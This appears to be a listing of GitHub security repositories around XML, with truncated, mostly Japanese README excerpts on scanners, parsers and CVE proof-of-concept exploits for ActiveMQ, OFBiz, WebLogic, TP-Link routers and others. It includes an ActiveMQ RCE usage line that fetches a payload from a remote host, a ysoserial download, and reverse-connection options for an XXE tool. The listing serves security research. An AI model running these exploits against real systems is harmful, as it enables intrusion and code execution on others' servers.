Nessus_Map

Nessus Map Nessus XML パーサー 必要条件 Python3 Django テスト済み環境 Ubuntu 18.04 Windows 11 Pro PowerShell 機能 脆弱性ベースの解析 サービスベースの解析 ホストベースの解析 サポート外OSの解析 スキャンのエグゼクティブサマリーの生成 解析済み.nessusファイルをJSONファイルにエクスポート NessusMapにJSONファイルをインポート 複数のNessusスキャン結果を結合 仕組み Nessusスキャン結果から.nessusを受け取る XMLデータを解析する...

CVE-2023-46604-ActiveMQ-RCE-pseudoshell

CVE-2023-46604 RCE 疑似シェル このスクリプトは、CVE-2023046604 Apache ActiveMQ を利用して疑似シェルを生成します。この脆弱性は、OpenWire プロトコル内の安全でない逆シリアライゼーションにより、リモートコード実行を可能にします。 説明 CVE-2023-46604 は、Apache ActiveMQ の OpenWire プロトコルに存在する逆シリアライゼーションの脆弱性です。この欠陥は、攻撃者が ActiveMQ が稼働しているサーバー上で任意のコードを実行するために悪用される可能性があります。攻撃者は悪意のある XML...

CVE-2019-2888

CVE-2019-2888 WebLogic EJBTaglibDescriptor XXE 脆弱性 https://www.oracle.com/security-alerts/cpuoct2019.html fernflower.jar weblogic.jar/weblogic/servlet/ejb2jsp/dd/EJBTaglibDescriptor.class ╭─root@jas502n /var ╰─ find ./ |grep EJBTaglibDescriptor  ✔  8388  18:32:43...

FileWatchTower

FileWatchTower - FWT 注記: このプロジェクトは保守されておらず、参考用としてアーカイブされたプロジェクトから公開されています。ファイル解析ソフトウェアの開発に興味がある方はどなたでも利用できます。 FWT は、Sysmon イベントを利用したセキュリティ分析およびファイル監視ツールです。Sysmon イベントログソースによって報告されたファイルを追跡し、詳細なセキュリティ分析を実行した後、XML または JSON 形式のレポートを生成します。これらのレポートは、ログファイル、外部 API、または Windows イベントに出力できます。...

ofbiz-CVE-2023-49070-RCE-POC

ofbiz-CVE-2023-49070-RCE-POC これは、Apache ofbizアプリケーション wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar DNS POC RCE POC 以下のツイートが非常に役立ちました: https://twitter.com/Siebene7/status/1731870759130427726 https://twitter.com/0xf4n9x/status/1732289811665559775 このエクスプロイトは...

CVE-2022-30075

CVE-2022-30075 Tp-Linkルーターにおける認証済みリモートコード実行 影響を受けるデバイス お使いのTp-Linkルーターにバックアップと復元機能があり、ファームウェアが2022年6月より古い場合、脆弱性の影響を受ける可能性があります。 テスト済みデバイス Tp-Link Archer AX50。他のtplinkルーターではバックアップの形式が異なる場合があり、エクスプロイトの修正が必要になることがあります。 PoC ルーター上でtelnetデーモンを起動するためのエクスプロイトを使用 手動による悪用 1. ルーターのWebインターフェースにログイン 2. advanc...

CVE-2016-3141

CVE-2016-3141 1. 脆弱性の詳細。 PHP 5.5.33 より前および 5.6.19 より前の 5.6.x における WDDX 拡張機能の wddx.c の Use-after-free の脆弱性により、細工された var 要素を含む XML データに対して wddxdeserialize 呼び出しをトリガーすることで、リモートの攻撃者がサービス妨害（メモリ破損およびアプリケーションのクラッシュ）を引き起こしたり、場合によってはその他の不特定の影響を与えたりする可能性があります。 2. バグの概要。 これは Use After Free バグであり、wddx が XML...

CVE-2023-45612-PoC

CVE-2023-45612 https://nvd.nist.gov/vuln/detail/CVE-2023-45612 CVEの説明 JetBrains Ktor 2.3.5 より前のバージョンでは、XML 形式を使用する ContentNegotiation のデフォルト設定が XXE に対して脆弱でした。 この脆弱性は、2023年9月29日に @marychatte によってパッチが適用されました（https://github.com/ktorio/ktor/pull/3770）。この脆弱性は、外部ライブラリ xmlutil version 0.86.1...

CVE-2020-14882_ALL

CVE-2020-14882ALL CVE-2020-14882ALL 総合利用ツール。コマンド出力の確認、一括コマンド出力、外部XMLを使用した出力なしコマンド実行などの機能をサポートします。 必要なモジュール：requests、http.client （本ツールは許可されたセキュリティテストにのみ使用し、不正使用は行わないでください。違反行為は作者とは無関係です。） コマンド出力モジュールの既知の成功バージョン：12.2.1.3.0、12.2.1.4.0、14.1.1.0.0 オプション 機能1：コマンド出力 python3 CVE-2020-14882ALL.py -u...

pentest-machine

pentest-machine nmapのXMLファイルを介してペネトレーションテスト作業の一部を自動化します。各コマンドが終了するとすぐに、その出力をターミナルとoutput-by-service/およびoutput-by-host/内のファイルに書き込みます。最初に高速返答コマンドを実行します。追加してほしいプロトコル/コマンド/オプションがあれば送ってください。 HTTP whatweb WPScan（whatwebがWordPressの結果を返した場合のみ） EyeWitness（アクティブなログイン試行あり） 軽量なdirbディレクトリブルートフォース DNS nmap NSE...

CVE-2026-3227-TP-Link-authenticated-RCE

CVE-2026-3227: TP-Link ルーター OS コマンドインジェクション 詳細情報については https://vulners.com/cve/CVE-2026-3227 を参照 TP-Link ルーターファームウェアにおける持続的かつ認証済みの OS コマンドインジェクションの脆弱性。デバイスの文鎮化や潜在的な LAN 乗っ取りにつながる可能性があります。 免責事項 : このリポジトリには、パッチ適用済みの脆弱性に対する概念実証（PoC）コードが含まれています。教育目的およびセキュリティ研究者向けに提供されています。 エグゼクティブサマリー 複数の TP-Link...

XXEinjector

XXEinjector XXEinjector は、直接および Out of Band 方式を使用したファイル取得を自動化します。ディレクトリリストは Java アプリケーションでのみ機能します。他のアプリケーションでは、ブルートフォース方式を使用する必要があります。 オプション: --host Mandatory - our IP address for reverse connections. --host=192.168.0.2 --file Mandatory - file containing valid HTTP request with xml. You can also...

CVE-2019-16941

CVE-2019-16941 概念実証（PoC）： この脆弱性は、トリガーされるために複数の比較的起こりにくい条件を必要とするため、その悪用可能性は限定されます。しかし、任意のコード実行につながる可能性があるため、ペイロードの準備には少しの労力と理解しか必要ありません。 ペイロードの作成： ターゲットに実行させるペイロードを作成するには、Ghidraに組み込まれているスクリプトを使用できます。これにアクセスするには、「Window」→「Script Manager」をクリックし、Code...

libxml2-exploit

libxml2-exploit CVE-2017-7376 のエクスプロイト例 インストール このリポジトリと、脆弱性のあるバージョンの libxml2（例: v2.7.7）をダウンロードします: git clone https://github.com/brahmstaedt/libxml2-exploit.git cd libxml2-exploit wget https://github.com/GNOME/libxml2/archive/v2.7.7.zip unzip v2.7.7.zip mv libxml2-2.7.7/ libxml2 セットアップ cd libxml2...

decoder-plus-plus

Decoder++ Decoder++ is an extensible application designed for penetration testers, software developers, and anyone in between looking to effortlessly decode and encode data across various formats. It includes a wide range of preinstalled scripts and codecs, smart decoding and format identificatio...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

プロジェクト参照 本プロジェクトは、https://github.com/X1r0z/ActiveMQ-RCE プロジェクトの exp を参考にして書き直した python 版の exp です。 使用方法 python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 -p パラメータはデフォルトで activeMQ のデフォルトポートになります。-x パラメータにはプロトコルのプレフィックスを付ける必要があります。 紹介 以下に openwire...

xmlsec

XMLSec ライブラリ XMLSec ライブラリは、主要な XML セキュリティ標準に対する C ベースの実装を提供します： XML 署名構文と処理 XML 暗号化構文と処理 サポートされている機能とアルゴリズムの詳細は、XMLDsig および XMLEnc 相互運用性レポートに記載されています。 ドキュメント XMLSec ライブラリの完全なドキュメントは、XMLSec Web サイト と XMLSec GitHub Wiki で公開されています。 ライセンス XMLSec ライブラリは MIT ライセンスの下で公開されています Copyright ファイル を参照してください。...

ruby-nmap

ruby-nmap ソース 課題 ドキュメント 説明 探索ツールおよびセキュリティ / ポートスキャナであるnmapのためのRuby APIです。nmapの自動化とnmap XMLファイルの解析を可能にします。 機能 nmapを自動化するためのRuby APIを提供します。 nmap XMLスキャンファイルを列挙するためのパーサーを提供します。 完全なNmap XML DTDをサポートします。 例 RubyからNmapを実行する: require 'nmap/command' Nmap::Command.run do |nmap| nmap.connectscan = true...

CVE-2022-2414-Proof-Of-Concept

CVE-2022-2414-概念実証 pki-core に欠陥が見つかりました。XML 文書の解析時に外部エンティティにアクセスできるため、XML 外部エンティティ XXE 攻撃が発生する可能性があります。この欠陥により、リモート攻撃者は特別に細工された HTTP リクエストを送信することで、任意のファイルの内容を取得できる可能性があります。 参照: https://nvd.nist.gov/vuln/detail/CVE-2022-2414 https://access.redhat.com/security/cve/CVE-2022-2414...

apache-activemq-rce-research

Apache ActiveMQ Classic — RCE リサーチ Apache ActiveMQ Classic の Jolokia → addNetworkConnector → xbean/Spring-XML リモートコード実行チェーン（CVE-2026-34197 とそのパッチバイパス CVE-2026-42588 ）に関するプライベートリサーチアーカイブです。さらに、修正版 6.2.6 リリースの完全な自動リサーチ監査と、Crowdfense の公開バイパス記事との比較も含まれています。 すべての悪用は ローカルラボブローカー （Docker /...